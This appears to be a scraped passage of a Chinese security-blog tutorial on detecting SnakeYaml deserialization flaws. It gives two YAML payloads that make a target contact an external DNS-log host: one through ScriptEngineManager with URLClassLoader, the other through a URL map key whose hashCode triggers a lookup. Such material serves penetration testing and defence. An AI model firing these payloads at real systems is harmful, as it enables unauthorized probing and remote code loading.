SnakeYaml从漏洞探测到利用姿势
2023-1-5 23:23:2 Author: www.freebuf.com(查看原文) 阅读量:23 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

反序列化探测

使用URLClassLoader探测

String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";

使用Key调用hashCode方法探测

外部探测漏洞点

String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";

我们根据urldns链可以知道key会进行hashCode方法的调用,之后进行urldns的解析

SnakeYaml在进行map的处理的时候将会对key进行hashCode处理,所以我们尝试map的格式

HashMap hashMap = new HashMap();
    hashMap.put("a", "a");
    hashMap.put("b", "b");
    System.out.println(yaml.dump(hashMap));
// {a: a, b: b}

所以我们就可以按照这种使用{ }包裹的形式构造map,然后将指定的URL置于key位置


文章来源: https://www.freebuf.com/vuls/343387.html
如有侵权请联系:admin#unsafe.sh